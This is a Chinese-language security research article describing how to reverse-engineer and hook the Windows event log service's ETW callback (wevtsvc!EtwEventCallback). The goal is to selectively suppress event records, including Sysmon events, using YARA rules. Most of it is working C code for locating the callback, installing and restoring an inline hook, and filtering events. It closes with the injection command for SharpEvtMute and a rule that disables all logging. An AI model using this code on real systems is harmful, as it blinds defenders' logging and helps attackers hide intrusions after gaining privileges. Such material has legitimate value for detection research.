安全研究 | YARA规则阻止Windows事件日志记录

时间:2022-07-28
本文章向大家介绍安全研究 | YARA规则阻止Windows事件日志记录,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

写在前面的话

事件日志搭配Windows事件转发和Sysmon,将会成为一个非常强大的安全防御方案,可以帮助研究人员检测攻击者在目标设备上的每一步非法操作。很明显,这是攻击者需要解决的问题。如果不能实现提权的话,攻击者能绕过事件日志的方式还是有限的,一旦实现提权,那结果可就不同了。

那么,怎么做才能在过滤掉攻击活动日志的同时,保留住正常的事件日志呢?

几年之前,@hlldz曾发布过一款名叫Invoke-Phant0m的工具。这是一款Windows日志清理工具,它可以找到目标事件对应的进程,然后终止掉所有通过wevtsvc.dll运行的线程。这是因为wevtsvc.dll是一个事件日志服务,因此终止它以及相关线程就可以禁用掉日志记录功能了。但是,这样将停用所有的事件日志。那么为了解决这个问题,我们需要实现Invoke-Phant0m类似的功能,但需要支持事件报告过滤,这样就可以只阻止与恶意行为相关的事件被记录了。

逆向分析事件日志服务

在对wevtsvc.dll分析的过程中,我们发现它会通过OpenTraceW来打开一个追踪会话:

OpenTraceW使用EVENT_TRACE_LOGFILEW结构体作为参数,这个结构体包含了EventRecordCallback的值,它指向目标事件的一个回调函数。

使用windbg进行深入分析后,我发现这个回调函数就是wevtsvc!EtwEventCallback:

通过对回调函数代码进行反汇编,我发现它是一个调用了EventCallback的程序集:

在wevtsvc!EtwEventCallback上设置断点,我们就会发现它将在EVENT_RECORD结构体中接收事件信息:

typedef struct _EVENT_RECORD {

  EVENT_HEADER                     EventHeader;

  ETW_BUFFER_CONTEXT               BufferContext;

  USHORT                           ExtendedDataCount;

  USHORT                           UserDataLength;

  PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;

  PVOID                            UserData;

  PVOID                            UserContext;

} EVENT_RECORD, *PEVENT_RECORD;

EVENT_HEADER结构体中包含了大量事件详细信息,包括报告事件的提供方,在windbg的帮助下,我们可以获取到提供方的GUID:

拿到事件提供方的GUID后,我们就可以使用logman.exe来查询提供方身份了,这里我们可以看到提供方就是Microsoft-Windows-Sysmon:

我们可以在这里通过添加一个ret命令来篡改该函数,并阻止所有的事件报告生成:

在下图中,你可以看到我清楚掉了一条7:01创建的事件日志,并在7:04时添加了一个新用户,但是这个操作没有被记录下来,因为我们在回调函数代码中添加的ret指令能够让系统范围内的所有事件都不会被报告:

设置函数钩子

PoC正常执行后,我们就可以看是编写漏洞利用代码了。我们需要做的第一件事就是找到wevtsvc!EtwEventCallback的偏移量,这样我们就知道应该把函数钩子设置在哪里了。首先,我们要定位wevtsvc.dll的基地址。下面的代码可以获取该地址,并存储至dwBase变量中:

DWORD_PTR dwBase;

DWORD     i, dwSizeNeeded;

HMODULE   hModules[102400];

TCHAR     szModule[MAX_PATH];

if (EnumProcessModules(GetCurrentProcess(), hModules, sizeof(hModules), &dwSizeNeeded))

{

    for (int i = 0; i < (dwSizeNeeded / sizeof(HMODULE)); i++)

    {

        ZeroMemory((PVOID)szModule, MAX_PATH);

        if (GetModuleBaseNameA(GetCurrentProcess(), hModules[i], (LPSTR)szModule, sizeof(szModule) / sizeof(TCHAR)))

        {

            if (!strcmp("wevtsvc.dll", (const char*)szModule))

            {

                dwBase = (DWORD_PTR)hModules[i];

            }

        }

    }

}

接下来,使用windbg来进行反汇编来查看回调开始时的字节位置,然后进行内存扫描,找到这些字节之后,我们也就找到了设置钩子的地方了:

下面这段代码将搜索从wevtsvc.dll基地址的起始字节0xfffff,以找到4883ec384c8b0d:

#define PATTERN "x48x83xecx38x4cx8bx0d"

DWORD i;

LPVOID lpCallbackOffset;

for (i = 0; i < 0xfffff; i++)

{

    if (!memcmp((PVOID)(dwBase + i), (unsigned char*)PATTERN, strlen(PATTERN)))

    {

        lpCallbackOffset = (LPVOID)(dwBase + i);

    }

}

获取到偏移量后,我们可以调用memcpy来拷贝字节位置:

memcpy(OriginalBytes, lpCallbackOffset, 50);

接下来,设置一个钩子来将所有针对EtwEventCallback的调用重定向到EtwCallbackHook:VOID HookEtwCallback()
{

    DWORD oldProtect, oldOldProtect;

    unsigned char boing[] = { 0x49, 0xbb, 0xde, 0xad, 0xc0, 0xde, 0xde, 0xad, 0xc0, 0xde, 0x41, 0xff, 0xe3 };

    *(void **)(boing + 2) = &EtwCallbackHook;

    VirtualProtect(lpCallbackOffset, 13, PAGE_EXECUTE_READWRITE, &oldProtect);

    memcpy(lpCallbackOffset, boing, sizeof(boing));

    VirtualProtect(lpCallbackOffset, 13, oldProtect, &oldOldProtect);

    return;

}

但是,如果想要报告那些我们不需要阻止的事件,我们就需要恢复原先的回调执行了,因此我们还需要在它报告合法事件之后,重新设置钩子,以便捕捉后续事件。这里我们可以使用一个typedef来实现:

t

ypedef VOID(WINAPI * EtwEventCallback_) (EVENT_RECORD *EventRecord);

VOID DoOriginalEtwCallback( EVENT_RECORD *EventRecord )
{

    DWORD dwOldProtect;

    VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect);

    memcpy(lpCallbackOffset, OriginalBytes, sizeof(OriginalBytes));

    VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), dwOldProtect, &dwOldProtect);

    EtwEventCallback_ EtwEventCallback = (EtwEventCallback_)lpCallbackOffset;

    EtwEventCallback(EventRecord);

    HookEtwCallback();

}

完成上述操作之后,我们就能够找到ETW回调函数的偏移量,然后将其挂钩到我们自己的函数并解析数据,最终解除回调并报告事件。

我们可以在windbg中看到解析后的事件:

YARA与模式匹配

接下来,我们就要实现日志过滤器了。在这里,我定义了下列宏来保持代码风格一致性:

下面的代码将创建一个YARA规则中对象,并在YRRulesScanMem中使用:

#define RULE_ALLOW_ALL "rule Allow { condition: false }"

YRInitalize();

RtlCopyMemory(cRule, RULE_ALLOW_ALL, strlen(RULE_ALLOW_ALL));

if (YRCompilerCreate(&yrCompiler) != ERROR_SUCCESS)

{

  return -1;

}

if (YRCompilerAddString(yrCompiler, cRule, NULL) != ERROR_SUCCESS)

{

  return -1;

}

YRCompilerGetRules(yrCompiler, &yrRules);

YARA规则写好后,我们就可以开始扫描内存了。下面我们会扫描包含格式化事件内容的StringBuffer变量,并将结果传递给YARA回调函数ToReportOrNotToReportThatIsTheQuestion。该函数将根据规则是否匹配而将dwReport变量设置为0或1。如果PIPE_NAME变量出现在事件中,还需要对其进行检查。因为EvtMuteHook.dll将使用一个命名管道来动态更新当前规则,这将会生成事件日志,所以这个检查将确保这些事件日志不会被报告:

INT ToReportOrNotToReportThatIsTheQuestion( YR_SCAN_CONTEXT* Context,

    INT Message,

    PVOID pMessageData,

    PVOID pUserData

)
{

    if (Message == CALLBACK_MSG_RULE_MATCHING)

    {

        (*(int*)pUserData) = 1;

    }

    if (Message == CALLBACK_MSG_RULE_NOT_MATCHING)

    {

        (*(int*)pUserData) = 0;

    }

    return CALLBACK_CONTINUE;

}

YRRulesScanMem(yrRules, (uint8_t*)StringBuffer, strlen(StringBuffer), 0, ToReportOrNotToReportThatIsTheQuestion, &dwReport, 0);

if (dwReport == 0)

{

    if (strstr(StringBuffer, PIPE_NAME) == NULL)

    {

        DoOriginalEtwCallback(EventRecord);

    }

}

禁用所有日志记录

我们可以使用下列YARA规则来在系统范围内禁用事件日志记录:

rule disable { condition: true }

接下来,将钩子注入到事件服务中:

.SharpEvtMute.exe --Inject

设置好钩子后,还需要添加过滤器:

现在,所有的事件都不会被记录。